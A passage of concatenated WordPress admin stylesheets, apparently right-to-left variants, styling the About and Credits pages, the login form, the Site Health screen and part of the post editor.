	.about__header-navigation .nav-tab {
		margin-top: 0;
		margin-left: 0;
		font-size: 1.2em;
	}
}

@media screen and (max-width: 600px) {
	.about__header {
		min-height: auto;
	}

	.about__header,
	.credits-php .about__header,
	.freedoms-php .about__header,
	.privacy-php .about__header,
	.contribute-php .about__header {
		background-image: none;
	}

	.about__header-navigation {
		display: block;
	}

	.about__header-navigation .nav-tab {
		display: block;
		margin-bottom: 0;
		padding: calc(var(--gap) / 2);
		border-right-width: 6px;
		border-bottom: none;
	}

	.about__header-navigation .nav-tab-active {
		border-bottom: none;
		border-right-width: 6px;
	}
}


/*------------------------------------------------------------------------------
  2.0 - Credits Page
------------------------------------------------------------------------------*/

.about__section .wp-people-group-title {
	margin-bottom: calc(var(--gap) * 2 - 10px);
	text-align: center;

}

.about__section .wp-people-group {
	margin: 0;
	display: flex;
	flex-wrap: wrap;
}

.about__section .wp-person {
	display: inline-block;
	vertical-align: top;
	box-sizing: border-box;
	margin-bottom: calc(var(--gap) - 10px);
	width: 25%;
	text-align: center;
}

.about__section .compact .wp-person {
	height: auto;
	width: 20%;
}

.about__section .wp-person-avatar {
	display: block;
	margin: 0 auto calc(var(--gap) / 2);
	width: 140px;
	height: 140px;
	border-radius: 100%;
	overflow: hidden;
}

.about__section .wp-person .gravatar {
	width: 140px;
	height: 140px;
	filter: grayscale(100%);
}

.about__section .compact .wp-person-avatar,
.about__section .compact .wp-person .gravatar {
	width: 80px;
	height: 80px;
}

.about__section .wp-person .web {
	display: block;
	font-size: 1.4em;
	font-weight: 600;
	padding: 10px 10px 0;
	text-decoration: none;
}

.about__section .wp-person .web:hover {
	text-decoration: underline;
}

.about__section .compact .wp-person .web {
	font-size: 1.2em;
}

.about__section .wp-person .title {
	display: block;
	margin-top: 0.5em;
}

@media screen and (max-width: 782px) {
	.about__section .wp-person {
		width: 33%;
	}

	.about__section .compact .wp-person {
		width: 25%;
	}

	.about__section .wp-person-avatar,
	.about__section .wp-person .gravatar {
		width: 120px;
		height: 120px;
	}
}

@media screen and (max-width: 600px) {
	.about__section .wp-person {
		width: 50%;
	}

	.about__section .compact .wp-person {
		width: 33%;
	}

	.about__section .wp-person .web {
		font-size: 1.2em;
	}
}

@media screen and (max-width: 480px) {
	.about__section .wp-person {
		min-width: 100%;
	}

	.about__section .wp-person .web {
		font-size: 1em;
	}

	.about__section .compact .wp-person .web {
		font-size: 1em;
	}
}


/*------------------------------------------------------------------------------
  3.0 - Freedoms Page
------------------------------------------------------------------------------*/

.about__section .column .freedom-image {
	margin-bottom: var(--gap);
	max-height: 180px;
}


/*------------------------------------------------------------------------------
  4.0 - Privacy Page
------------------------------------------------------------------------------*/

.about__section .column .privacy-image {
	display: block;
	margin-right: auto;
	margin-left: auto;
	max-width: 25rem;
}


/*------------------------------------------------------------------------------
  x.2.0 - Legacy About Styles: Global
------------------------------------------------------------------------------*/

.about-wrap {
	position: relative;
	margin: 25px 20px 0 40px;
	max-width: 1050px; /* readability */
	font-size: 15px;
}

.about-wrap.full-width-layout {
	max-width: 1200px;
}

.about-wrap-content {
	max-width: 1050px;
}

.about-wrap div.updated,
.about-wrap div.error,
.about-wrap .notice {
	display: none !important;
}

.about-wrap hr {
	border: 0;
	height: 0;
	margin: 3em 0 0;
	border-top: 1px solid rgba(0, 0, 0, 0.1);
}

.about-wrap img {
	margin: 0;
	width: 100%;
	height: auto;
	vertical-align: middle;
}

.about-wrap .inline-svg img {
	max-width: 100%;
	width: auto;
	height: auto;
}

.about-wrap video {
	margin: 1.5em auto;
}

/* WordPress Version Badge */

.wp-badge {
	background: #0073aa url(../images/w-logo-white.png?ver=20160308) no-repeat;
	background-position: center 25px;
	background-size: 80px 80px;
	color: #fff;
	font-size: 14px;
	text-align: center;
	font-weight: 600;
	margin: 5px 0 0;
	padding-top: 120px;
	height: 40px;
	display: inline-block;
	width: 140px;
	text-rendering: optimizeLegibility;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.2);
}

.svg .wp-badge {
	background-image: url(../images/wordpress-logo-white.svg?ver=20160308);
}

.about-wrap .wp-badge {
	position: absolute;
	top: 0;
	left: 0;
}

/* Tabs */

.about-wrap .nav-tab {
	padding-left: 15px;
	padding-right: 15px;
	font-size: 18px;
	line-height: 1.33333333;
}

/* x.2.1 - Typography */

.about-wrap h1 {
	margin: 0.2em 0 0 200px;
	padding: 0;
	color: #32373c;
	line-height: 1.2;
	font-size: 2.8em;
	font-weight: 400;
}

.about-wrap h2 {
	margin: 40px 0 0.6em;
	font-size: 2.7em;
	line-height: 1.3;
	font-weight: 300;
	text-align: center;
}

.about-wrap h3 {
	margin: 1.25em 0 0.6em;
	font-size: 1.4em;
	line-height: 1.5;
}

.about-wrap h4 {
	font-size: 16px;
	color: #23282d;
}

.about-wrap p {
	line-height: 1.5;
	font-size: 16px;
}

.about-wrap code,
.about-wrap ol li p {
	font-size: 14px;
	font-weight: 400;
}

.about-wrap figcaption {
	font-size: 13px;
	text-align: center;
	color: white;
	text-overflow: ellipsis;
}

.about-wrap .about-description,
.about-wrap .about-text {
	margin-top: 1.4em;
	font-weight: 400;
	line-height: 1.6;
	font-size: 19px;
}

.about-wrap .about-text {
	margin: 1em 0 1em 200px;
	color: #555d66;
}

/* x.2.2 - Structure */

.about-wrap .has-1-columns,
.about-wrap .has-2-columns,
.about-wrap .has-3-columns,
.about-wrap .has-4-columns {
	display: grid;
	max-width: 800px;
	margin-top: 40px;
	margin-right: auto;
	margin-left: auto;
}

.about-wrap .column {
	margin-left: 20px;
	margin-right: 20px;
}

.about-wrap .is-wide {
	max-width: 760px;
}

.about-wrap .is-fullwidth {
	max-width: 100%;
}

.about-wrap .has-1-columns {
	display: block;
	max-width: 680px;
	margin: 0 auto 40px;
}

.about-wrap .has-2-columns {
	grid-template-columns: 1fr 1fr;
}

.about-wrap .has-2-columns .column:nth-of-type(2n+1) {
	grid-column-start: 1;
}

.about-wrap .has-2-columns .column:nth-of-type(2n) {
	grid-column-start: 2;
}

.about-wrap .has-2-columns.is-wider-right {
	grid-template-columns: 1fr 2fr;
}

.about-wrap .has-2-columns.is-wider-left {
	grid-template-columns: 2fr 1fr;
}

.about-wrap .has-3-columns {
	grid-template-columns: repeat(3, 1fr);
}

.about-wrap .has-3-columns .column:nth-of-type(3n+1) {
	grid-column-start: 1;
}

.about-wrap .has-3-columns .column:nth-of-type(3n+2) {
	grid-column-start: 2;
}

.about-wrap .has-3-columns .column:nth-of-type(3n) {
	grid-column-start: 3;
}

.about-wrap .has-4-columns {
	grid-template-columns: repeat(4, 1fr);
}

.about-wrap .has-4-columns .column:nth-of-type(4n+1) {
	grid-column-start: 1;
}

.about-wrap .has-4-columns .column:nth-of-type(4n+2) {
	grid-column-start: 2;
}

.about-wrap .has-4-columns .column:nth-of-type(4n+3) {
	grid-column-start: 3;
}

.about-wrap .has-4-columns .column:nth-of-type(4n) {
	grid-column-start: 4;
}

.about-wrap .column :first-child {
	margin-top: 0;
}

.about-wrap .aligncenter {
	text-align: center;
}

.about-wrap .alignleft {
	float: right;
	margin-left: 40px;
}

.about-wrap .alignright {
	float: left;
	margin-right: 40px;
}

.about-wrap .is-vertically-aligned-top {
	align-self: flex-start;
}

.about-wrap .is-vertically-aligned-center {
	align-self: center;
}

.about-wrap .is-vertically-aligned-bottom {
	align-self: end;
}

/* x.2.3 - Point Releases */

.about-wrap .point-releases {
	margin-top: 5px;
	border-bottom: 1px solid #ddd;
}

.about-wrap .changelog {
	margin-bottom: 40px;
}

.about-wrap .changelog.point-releases h3 {
	padding-top: 35px;
}

.about-wrap .changelog.point-releases h3:first-child {
	padding-top: 7px;
}

.about-wrap .changelog.feature-section .col {
	margin-top: 40px;
}

/*------------------------------------------------------------------------------
  x.3.0 - Legacy About Styles: About Page
------------------------------------------------------------------------------*/

/* x.3.1 - Typography */

.about-wrap .lead-description {
	font-size: 1.5em;
	text-align: center;
}

.about-wrap .feature-section p {
	margin-top: 0.6em;
}

/* x.3.2 - Structure */

.about-wrap .headline-feature {
	margin: 0 auto 40px;
	max-width: 680px;
}

.about-wrap .headline-feature h2 {
	margin: 50px 0 0;
}

.about-wrap .headline-feature img {
	max-width: 600px;
	width: 100%;
}

/* Go to Dashboard Home link */

.about-wrap .return-to-dashboard {
	margin: 30px -5px 0 0;
	font-size: 14px;
	font-weight: 600;
}

.about-wrap .return-to-dashboard a {
	text-decoration: none;
	padding: 0 5px;
}

/*------------------------------------------------------------------------------
  x.4.0 - Legacy About Styles: Credits & Freedoms Pages
------------------------------------------------------------------------------*/

/* Credits */

.about-wrap h2.wp-people-group {
	margin: 2.6em 0 1.33em;
	padding: 0;
	font-size: 16px;
	line-height: inherit;
	font-weight: 600;
	text-align: right;
}

.about-wrap .wp-people-group {
	padding: 0 5px;
	margin: 0 -5px 0 -15px;
}

.about-wrap .compact {
	margin-bottom: 0;
}

.about-wrap .wp-person {
	display: inline-block;
	vertical-align: top;
	margin-left: 10px;
	padding-bottom: 15px;
	height: 70px;
	width: 280px;
}

.about-wrap .compact .wp-person {
	height: auto;
	width: 180px;
	padding-bottom: 0;
	margin-bottom: 0;
}

.about-wrap .wp-person .gravatar {
	float: right;
	margin: 0 0 10px 10px;
	padding: 1px;
	width: 60px;
	height: 60px;
}

.about-wrap .compact .wp-person .gravatar {
	width: 30px;
	height: 30px;
}

.about-wrap .wp-person .web {
	margin: 6px 0 2px;
	font-size: 16px;
	font-weight: 400;
	line-height: 2;
	text-decoration: none;
}

.about-wrap .wp-person .title {
	display: block;
}

.about-wrap #wp-people-group-validators + p.wp-credits-list {
	margin-top: 0;
}

.about-wrap p.wp-credits-list a {
	white-space: nowrap;
}

/* Freedoms */

.freedoms-php .about-wrap ol {
	margin: 40px 60px;
}

.freedoms-php .about-wrap ol li {
	list-style-type: decimal;
	font-weight: 600;
}

.freedoms-php .about-wrap ol p {
	font-weight: 400;
	margin: 0.6em 0;
}

.freedoms-php .column .freedoms-image {
	background-image: url('../images/freedoms.png');
	background-size: 100%;
	padding-top: 100%;
}

.freedoms-php .column:nth-of-type(2) .freedoms-image {
	background-position: 100% 34%;
}

.freedoms-php .column:nth-of-type(3) .freedoms-image {
	background-position: 100% 66%;
}

.freedoms-php .column:nth-of-type(4) .freedoms-image {
	background-position: 100% 100%;
}

/*------------------------------------------------------------------------------
  x.5.0 - Legacy About Styles: Media Queries
------------------------------------------------------------------------------*/

@media screen and (max-width: 782px) {
	.about-wrap .has-3-columns,
	.about-wrap .has-4-columns {
		grid-template-columns: 1fr 1fr;
	}

	.about-wrap .has-3-columns .column:nth-of-type(3n+1),
	.about-wrap .has-4-columns .column:nth-of-type(4n+1) {
		grid-column-start: 1;
		grid-row-start: 1;
	}

	.about-wrap .has-3-columns .column:nth-of-type(3n+2),
	.about-wrap .has-4-columns .column:nth-of-type(4n+2) {
		grid-column-start: 2;
		grid-row-start: 1;
	}

	.about-wrap .has-3-columns .column:nth-of-type(3n),
	.about-wrap .has-4-columns .column:nth-of-type(4n+3) {
		grid-column-start: 1;
		grid-row-start: 2;
	}

	.about-wrap .has-4-columns .column:nth-of-type(4n) {
		grid-column-start: 2;
		grid-row-start: 2;
	}
}

@media screen and (max-width: 600px) {
	.about-wrap .has-2-columns,
	.about-wrap .has-3-columns,
	.about-wrap .has-4-columns {
		display: block;
	}

	.about-wrap :not(.is-wider-right):not(.is-wider-left) .column {
		margin-left: 0;
		margin-right: 0;
	}

	.about-wrap .has-2-columns.is-wider-right,
	.about-wrap .has-2-columns.is-wider-left {
		display: grid;
	}
}

@media only screen and (max-width: 500px) {
	.about-wrap {
		margin-left: 20px;
		margin-right: 10px;
	}

	.about-wrap h1,
	.about-wrap .about-text {
		margin-left: 0;
	}

	.about-wrap .about-text {
		margin-bottom: 0.25em;
	}

	.about-wrap .wp-badge {
		position: relative;
		margin-bottom: 1.5em;
		width: 100%;
	}
}

@media only screen and (max-width: 480px) {
	.about-wrap .has-2-columns.is-wider-right,
	.about-wrap .has-2-columns.is-wider-left {
		display: block;
	}

	.about-wrap .column {
		margin-left: 0;
		margin-right: 0;
	}

	.about-wrap .has-2-columns.is-wider-right img,
	.about-wrap .has-2-columns.is-wider-left img {
		max-width: 160px;
	}
}
/*! This file is auto-generated */
html,
body {
	height: 100%;
	margin: 0;
	padding: 0;
}

body {
	background: #f0f0f1;
	min-width: 0;
	color: #3c434a;
	font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;
	font-size: 13px;
	line-height: 1.4;
}

a {
	color: #2271b1;
	transition-property: border, background, color;
	transition-duration: .05s;
	transition-timing-function: ease-in-out;
}

a {
	outline: 0;
}

a:hover,
a:active {
	color: #135e96;
}

a:focus {
	color: #043959;
	box-shadow: 0 0 0 2px #2271b1;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

p {
	line-height: 1.5;
}

.login .message,
.login .notice,
.login .success {
	border-right: 4px solid #72aee6;
	padding: 12px;
	margin-right: 0;
	margin-bottom: 20px;
	background-color: #fff;
	box-shadow: 0 1px 1px 0 rgba(0, 0, 0, 0.1);
	word-wrap: break-word;
}

.login .success {
	border-right-color: #00a32a;
}

/* Match border color from common.css */
.login .notice-error {
	border-right-color: #d63638;
}

.login .login-error-list {
	list-style: none;
}

.login .login-error-list li + li {
	margin-top: 4px;
}

#loginform p.submit,
.login-action-lostpassword p.submit {
	border: none;
	margin: -10px 0 20px; /* May want to revisit this */
}

.login * {
	margin: 0;
	padding: 0;
}

.login .input::-ms-clear {
	display: none;
}

.login .pw-weak {
	margin-bottom: 15px;
}

.login .button.wp-hide-pw {
	background: transparent;
	border: 1px solid transparent;
	box-shadow: none;
	font-size: 14px;
	line-height: 2;
	width: 2.5rem;
	height: 2.5rem;
	min-width: 40px;
	min-height: 40px;
	margin: 0;
	padding: 5px 9px;
	position: absolute;
	left: 0;
	top: 0;
}

.login .button.wp-hide-pw:hover {
	background: transparent;
}

.login .button.wp-hide-pw:focus {
	background: transparent;
	border-color: #3582c4;
	box-shadow: 0 0 0 1px #3582c4;
	/* Only visible in Windows High Contrast mode */
	outline: 2px solid transparent;
}

.login .button.wp-hide-pw:active {
	background: transparent;
	box-shadow: none;
	transform: none;
}

.login .button.wp-hide-pw .dashicons {
	width: 1.25rem;
	height: 1.25rem;
	top: 0.25rem;
}

.login .wp-pwd {
	position: relative;
}

.no-js .hide-if-no-js {
	display: none;
}

.login form {
	margin-top: 20px;
	margin-right: 0;
	padding: 26px 24px 34px;
	font-weight: 400;
	overflow: hidden;
	background: #fff;
	border: 1px solid #c3c4c7;
	box-shadow: 0 1px 3px rgba(0, 0, 0, 0.04);
}

.login form.shake {
	animation: shake 0.2s cubic-bezier(.19,.49,.38,.79) both;
	animation-iteration-count: 3;
	transform: translateX(0);
}

@keyframes shake {
	25% {
		transform: translateX(20px);
	}
	75% {
		transform: translateX(-20px);
	}
	100% {
		transform: translateX(0);
	}
}

@media (prefers-reduced-motion: reduce) {
	.login form.shake {
		animation: none;
		transform: none;
	}
}

.login-action-confirm_admin_email #login {
	width: 60vw;
	max-width: 650px;
	margin-top: -2vh;
}

@media screen and (max-width: 782px) {
	.login-action-confirm_admin_email #login {
		box-sizing: border-box;
		margin-top: 0;
		padding-right: 4vw;
		padding-left: 4vw;
		width: 100vw;
	}
}

.login form .forgetmenot {
	font-weight: 400;
	float: right;
	margin-bottom: 0;
}

.login .button-primary {
	float: left;
}

.login .reset-pass-submit {
	display: flex;
	flex-flow: row wrap;
	justify-content: space-between;
}

.login .reset-pass-submit .button {
	display: inline-block;
	float: none;
	margin-bottom: 6px;
}

.login .admin-email-confirm-form .submit {
	text-align: center;
}

.admin-email__later {
	text-align: right;
}

.login form p.admin-email__details {
	margin: 1.1em 0;
}

.login h1.admin-email__heading {
	border-bottom: 1px #f0f0f1 solid;
	color: #50575e;
	font-weight: normal;
	padding-bottom: 0.5em;
	text-align: right;
}

.admin-email__actions div {
	padding-top: 1.5em;
}

.login .admin-email__actions .button-primary {
	float: none;
	margin-right: 0.25em;
	margin-left: 0.25em;
}

#login form p {
	margin-bottom: 0;
}

#login form .indicator-hint,
#login #reg_passmail {
	margin-bottom: 16px;
}

#login form p.submit {
	margin: 0;
	padding: 0;
}

.login label {
	font-size: 14px;
	line-height: 1.5;
	display: inline-block;
	margin-bottom: 3px;
}

.login .forgetmenot label,
.login .pw-weak label {
	line-height: 1.5;
	vertical-align: baseline;
}

.login h1 {
	text-align: center;
}

.login h1 a {
	background-image: url(../images/w-logo-blue.png?ver=20131202);
	background-image: none, url(../images/wordpress-logo.svg?ver=20131107);
	background-size: 84px;
	background-position: center top;
	background-repeat: no-repeat;
	color: #3c434a;
	height: 84px;
	font-size: 20px;
	font-weight: 400;
	line-height: 1.3;
	margin: 0 auto 25px;
	padding: 0;
	text-decoration: none;
	width: 84px;
	text-indent: -9999px;
	outline: none;
	overflow: hidden;
	display: block;
}

#login {
	width: 320px;
	padding: 5% 0 0;
	margin: auto;
}

.login #nav,
.login #backtoblog {
	font-size: 13px;
	padding: 0 24px;
}

.login #nav {
	margin: 24px 0 0;
}

#backtoblog {
	margin: 16px 0;
	word-wrap: break-word;
}

.login #nav a,
.login #backtoblog a {
	text-decoration: none;
	color: #50575e;
}

.login #nav a:hover,
.login #backtoblog a:hover,
.login h1 a:hover {
	color: #135e96;
}

.login #nav a:focus,
.login #backtoblog a:focus,
.login h1 a:focus {
	color: #043959;
}

.login .privacy-policy-page-link {
	text-align: center;
	width: 100%;
	margin: 3em 0 2em;
}

.login form .input,
.login input[type="text"],
.login input[type="password"] {
	font-size: 24px;
	line-height: 1.33333333; /* 32px */
	width: 100%;
	border-width: 0.0625rem;
	padding: 0.1875rem 0.3125rem; /* 3px 5px */
	margin: 0 0 16px 6px;
	min-height: 40px;
	max-height: none;
}

.login input.password-input {
	font-family: Consolas, Monaco, monospace;
}

.js.login input.password-input {
	padding-left: 2.5rem;
}

.login form .input,
.login input[type="text"],
.login form input[type="checkbox"] {
	background: #fff;
}

.js.login-action-resetpass input[type="text"],
.js.login-action-resetpass input[type="password"],
.js.login-action-rp input[type="text"],
.js.login-action-rp input[type="password"] {
	margin-bottom: 0;
}

.login #pass-strength-result {
	font-weight: 600;
	margin: -1px 0 16px 5px;
	padding: 6px 5px;
	text-align: center;
	width: 100%;
}

body.interim-login {
	height: auto;
}

.interim-login #login {
	padding: 0;
	margin: 5px auto 20px;
}

.interim-login.login h1 a {
	width: auto;
}

.interim-login #login_error,
.interim-login.login .message {
	margin: 0 0 16px;
}

.interim-login.login form {
	margin: 0;
}

/* Hide visually but not from screen readers */
.screen-reader-text,
.screen-reader-text span {
	border: 0;
	clip: rect(1px, 1px, 1px, 1px);
	-webkit-clip-path: inset(50%);
	clip-path: inset(50%);
	height: 1px;
	margin: -1px;
	overflow: hidden;
	padding: 0;
	position: absolute;
	width: 1px;
	word-wrap: normal !important; /* many screen reader and browser combinations announce broken words as they would appear visually */
}

/* Hide the Edge "reveal password" native button */
input::-ms-reveal {
	display: none;
}

#language-switcher {
	padding: 0;
	overflow: visible;
	background: none;
	border: none;
	box-shadow: none;
}

#language-switcher select {
	margin-left: 0.25em;
}

.language-switcher {
	margin: 0 auto;
	padding: 0 0 24px;
	text-align: center;
}

.language-switcher label {
	margin-left: 0.25em;
}

.language-switcher label .dashicons {
	width: auto;
	height: auto;
}

.login .language-switcher .button {
	margin-bottom: 0;
}

@media screen and (max-height: 550px) {
	#login {
		padding: 20px 0;
	}

	#language-switcher {
		margin-top: 0;
	}
}


@media screen and (max-width: 782px) {
	.interim-login input[type=checkbox] {
		width: 1rem;
		height: 1rem;
	}

	.interim-login input[type=checkbox]:checked:before {
		width: 1.3125rem;
		height: 1.3125rem;
		margin: -0.1875rem -0.25rem 0 0;
	}

	#language-switcher label,
	#language-switcher select {
		margin-left: 0;
	}
}

@media screen and (max-width: 400px) {
	.login .language-switcher .button {
		display: block;
		margin: 5px auto 0;
	}
}
/* Note: Any Site Health selectors that use
duplicate styling from the Privacy settings screen
are styled in the Privacy section of edit.css */

.health-check-body h2 {
	line-height: 1.4;
}

.health-check-body h3 {
	padding: 0;
	font-weight: 400;
}

.site-health-progress-wrapper {
	margin-bottom: 1rem;
}

.site-health-progress {
	display: inline-block;
	height: 20px;
	width: 20px;
	margin: 0;
	border-radius: 100%;
	position: relative;
	font-weight: 600;
	font-size: 0.4rem;
}

.site-health-progress-count {
	position: absolute;
	display: block;
	height: 80px;
	width: 80px;
	left: 50%;
	top: 50%;
	margin-top: -40px;
	margin-left: -40px;
	border-radius: 100%;
	line-height: 6.3;
	font-size: 2em;
}

.loading .site-health-progress svg #bar {
	stroke-dashoffset: 0;
	stroke: #c3c4c7;
	animation: loadingPulse 3s infinite ease-in-out;
}

.site-health-progress svg circle {
	stroke-dashoffset: 0;
	transition: stroke-dashoffset 1s linear;
	stroke: #c3c4c7;
	stroke-width: 2em;
}

.site-health-progress svg #bar {
	stroke-dashoffset: 565;
	stroke: #d63638;
}

.green .site-health-progress #bar {
	stroke: #00a32a;
}
.green .site-health-progress .site-health-progress-label {
	color: #00a32a;
}

.orange .site-health-progress #bar {
	stroke: #dba617;
}
.orange .site-health-progress .site-health-progress-label {
	color: #dba617;
}

.site-health-progress-label {
	font-weight: 600;
	line-height: 20px;
	margin-left: 0.3rem;
}

@keyframes loadingPulse {
	0% {
		stroke: #c3c4c7;
	}
	50% {
		stroke: #72aee6;
	}
	100% {
		stroke: #c3c4c7;
	}
}

.health-check-tabs-wrapper {
	/* IE 11 */
	display: -ms-inline-grid;
	-ms-grid-columns: 1fr 1fr 1fr 1fr;
	vertical-align: top;
	/* modern browsers */
	display: inline-grid;
	grid-template-columns: 1fr 1fr 1fr 1fr;
}

.health-check-tabs-wrapper.tab-count-1 {
	grid-template-columns: 1fr;
}
.health-check-tabs-wrapper.tab-count-2 {
	grid-template-columns: 1fr 1fr;
}
.health-check-tabs-wrapper.tab-count-3 {
	grid-template-columns: 1fr 1fr 1fr;
}

.health-check-tab {
	display: block; /* IE 11 */
	text-decoration: none;
	color: inherit;
	padding: 0.5rem 1rem 1rem;
	margin: 0 1rem;
	transition: box-shadow 0.5s ease-in-out;
}

.health-check-offscreen-nav-wrapper {
	position: relative;
	background: transparent;
	border: none;
}
.health-check-offscreen-nav-wrapper:focus .health-check-offscreen-nav {
	left: initial;
}

.health-check-offscreen-nav {
	display: none;
	position: absolute;
	padding-top: 10px;
	right: 0;
	top: 100%;
	width: 13rem;
}
.health-check-offscreen-nav-wrapper.visible .health-check-offscreen-nav {
	display: inline-block;
}
.health-check-offscreen-nav:before {
	position: absolute;
	content: "";
	width: 0;
	height: 0;
	border-style: solid;
	border-width: 0 10px 5px;
	border-color: transparent transparent #ffffff;
	right: 20px;
	top: 5px;
}

.health-check-offscreen-nav .health-check-tab {
	background: #fff;
	box-shadow: 0 2px 5px 0 rgba( 0, 0, 0, 0.75 );
}

.health-check-offscreen-nav .health-check-tab.active {
	box-shadow: inset 3px 0 #3582c4;
	font-weight: 600;
}

.health-check-body {
	max-width: 800px;
	margin: 0 auto;
}

.health-check-table td:first-child {
	width: 30%;
}

.health-check-table td {
	width: 70%;
}

.health-check-table ul,
.health-check-table ol {
	margin: 0;
}

.health-check-body li {
	line-height: 1.5;
}

.health-check-body .pass::before,
.health-check-body .good::before {
	content: "\f147";
	color: #00a32a;
}

.health-check-body .warning::before {
	content: "\f460";
	color: #dba617;
}

.health-check-body .info::before {
	content: "\f348";
	color: #72aee6;
}

.health-check-body .fail::before,
.health-check-body .error::before {
	content: "\f335";
	color: #d63638;
}

.site-health-copy-buttons {
	margin: 1rem 0;
}

.site-health-copy-buttons .copy-button-wrapper {
	display: inline-flex;
	align-items: center;
	margin: 0.5rem 0 1rem;
}

.site-health-copy-buttons .success {
	color: #007017;
	margin-left: 0.5rem;
}

.site-status-has-issues.hide {
	display: none;
}

.site-health-view-more {
	text-align: center;
}

.site-health-issues-wrapper:first-of-type {
	margin-top: 3rem;
}

.site-health-issues-wrapper {
	margin-bottom: 3rem;
	margin-top: 2rem;
}

.site-status-all-clear {
	display: flex;
	flex-direction: column;
	align-items: center;
	justify-content: center;
	text-align: center;
	height: 100%;
	width: 100%;
	margin: 0 0 3rem;
}

@media all and (min-width: 784px) {
	.site-status-all-clear {
		margin: 2rem 0 5rem;
	}
}

.site-status-all-clear.hide {
	display: none;
}

.site-status-all-clear .dashicons {
	font-size: 150px;
	height: 150px;
	margin-bottom: 2rem;
	width: 150px;
}

.site-status-all-clear .encouragement {
	font-size: 1.5rem;
	font-weight: 600;
}

.site-status-all-clear p {
	margin: 0;
}

.wp-core-ui .button.site-health-view-passed {
	position: relative;
	padding-right: 40px;
	padding-left: 20px;
}

.health-check-wp-paths-sizes.spinner {
	visibility: visible;
	float: none;
	margin: 0 4px;
	flex-shrink: 0;
}

/* Styling unique to the dashboard widget. */
#dashboard_site_health .site-health-details {
	padding-left: 16px;
}

#dashboard_site_health .site-health-details p:first-child {
	margin-top: 0;
}

#dashboard_site_health .site-health-details p:last-child {
	margin-bottom: 0;
}

#dashboard_site_health .health-check-widget {
	display: grid;
	grid-template-columns: 1fr 2fr;
	grid-auto-rows: minmax(64px, auto);
	column-gap: 16px;
	align-items: center;
}
#dashboard_site_health .site-health-progress-label {
	margin-left: 0;
}

.health-check-widget-title-section {
	margin-bottom: 0;
	text-align: center;
}

@media screen and (max-width: 480px) {
	#dashboard_site_health .health-check-widget {
		grid-template-columns: 100%;
	}
}

@media screen and (max-width: 782px) {

	.site-health-issues-wrapper .health-check-accordion-trigger {
		flex-direction: column;
		align-items: flex-start;
	}

	.health-check-accordion-trigger .badge {
		margin: 1em 0 0;
	}

	.health-check-table {
		table-layout: fixed;
	}

	.health-check-table td {
		box-sizing: border-box;
		display: block;
		width: 100%;
		word-wrap: break-word;
	}

	.health-check-table td:first-child {
		width: 100%;
		padding-bottom: 0;
		font-weight: 600;
	}

	.wp-core-ui .site-health-copy-buttons .copy-button {
		margin-bottom: 0;
	}
}

#poststuff {
	padding-top: 10px;
	min-width: 763px;
}

#poststuff #post-body {
	padding: 0;
}

#poststuff .postbox-container {
	width: 100%;
}

#poststuff #post-body.columns-2 {
	margin-right: 300px;
}

/*------------------------------------------------------------------------------
  11.0 - Write/Edit Post Screen
------------------------------------------------------------------------------*/

#show-comments {
	overflow: hidden;
}

#save-action .spinner,
#show-comments a {
	float: left;
}

#show-comments .spinner {
	float: none;
	margin-top: 0;
}

#lost-connection-notice .spinner {
	visibility: visible;
	float: left;
	margin: 0 5px 0 0;
}

#titlediv {
	position: relative;
}

#titlediv label {
	cursor: text;
}

#titlediv div.inside {
	margin: 0;
}

#poststuff #titlewrap {
	border: 0;
	padding: 0;
}

#titlediv #title {
	padding: 3px 8px;
	font-size: 1.7em;
	line-height: 100%;
	height: 1.7em;
	width: 100%;
	outline: none;
	margin: 0 0 3px;
	background-color: #fff;
}

#titlediv #title-prompt-text {
	color: #646970;
	position: absolute;
	font-size: 1.7em;
	padding: 10px;
	pointer-events: none;
}

input#link_description,
input#link_url {
	width: 100%;
}

#pending {
	background: 0 none;
	border: 0 none;
	padding: 0;
	font-size: 11px;
	margin-top: -1px;
}

#edit-slug-box,
#comment-link-box {
	line-height: 1.84615384;
	min-height: 25px;
	margin-top: 5px;
	padding: 0 10px;
	color: #646970;
}

#sample-permalink {
	display: inline-block;
	max-width: 100%;
	word-wrap: break-word;
}

#edit-slug-box .cancel {
	margin-right: 10px;
	padding: 0;
	font-size: 11px;
}

#comment-link-box {
	margin: 5px 0;
	padding: 0 5px;
}

#editable-post-name-full {
	display: none;
}

#editable-post-name {
	font-weight: 600;
}

#editable-post-name input {
	font-size: 13px;
	font-weight: 400;
	height: 24px;
	margin: 0;
	width: 16em;
}

.postarea h3 label {
	float: left;
}

body.post-new-php .submitbox .submitdelete {
	display: none;
}

.submitbox .submit a:hover {
	text-decoration: underline;
}

.submitbox .submit input {
	margin-bottom: 8px;
	margin-right: 4px;
	padding: 6px;
}

#post-status-select {
	margin-top: 3px;
}

body.post-type-wp_navigation div#minor-publishing,
body.post-type-wp_navigation .inline-edit-status {
	display: none;
}

/* Post Screen */

/* Only highlight drop zones when dragging and only in the 2 columns layout. */
.is-dragging-metaboxes .metabox-holder .postbox-container .meta-box-sortables {
	outline: 3px dashed #646970;
	/* Prevent margin on the child from collapsing with margin on the parent. */
	display: flow-root;
	/*
	 * This min-height is meant to limit jumpiness while dragging. It's equivalent
	 * to the minimum height of the sortable-placeholder which is given by the height
	 * of a collapsed post box (36px + 1px top and bottom borders) + the placeholder
	 * bottom margin (20px) + 2 additional pixels to compensate browsers rounding.
	 */
	min-height: 60px;
	margin-bottom: 20px;
}

.postbox {
	position: relative;
	min-width: 255px;
	border: 1px solid #c3c4c7;
	box-shadow: 0 1px 1px rgba(0, 0, 0, 0.04);
	background: #fff;
}

#trackback_url {
	width: 99%;
}

#normal-sortables .postbox .submit {
	background: transparent none;
	border: 0 none;
	float: right;
	padding: 0 12px;
	margin: 0;
}

.category-add input[type="text"],
.category-add select {
	width: 100%;
	max-width: 260px;
	vertical-align: baseline;
}

#side-sortables .category-add input[type="text"],
#side-sortables .category-add select {
	margin: 0 0 1em;
}

ul.category-tabs li,
#side-sortables .add-menu-item-tabs li,
.wp-tab-bar li {
	display: inline;
	line-height: 1.35;
}

.no-js .category-tabs li.hide-if-no-js {
	display: none;
}

.category-tabs a,
#side-sortables .add-menu-item-tabs a,
.wp-tab-bar a {
	text-decoration: none;
}

/* @todo: do these really need to be so specific? */
#side-sortables .category-tabs .tabs a,
#side-sortables .add-menu-item-tabs .tabs a,
.wp-tab-bar .wp-tab-active a,
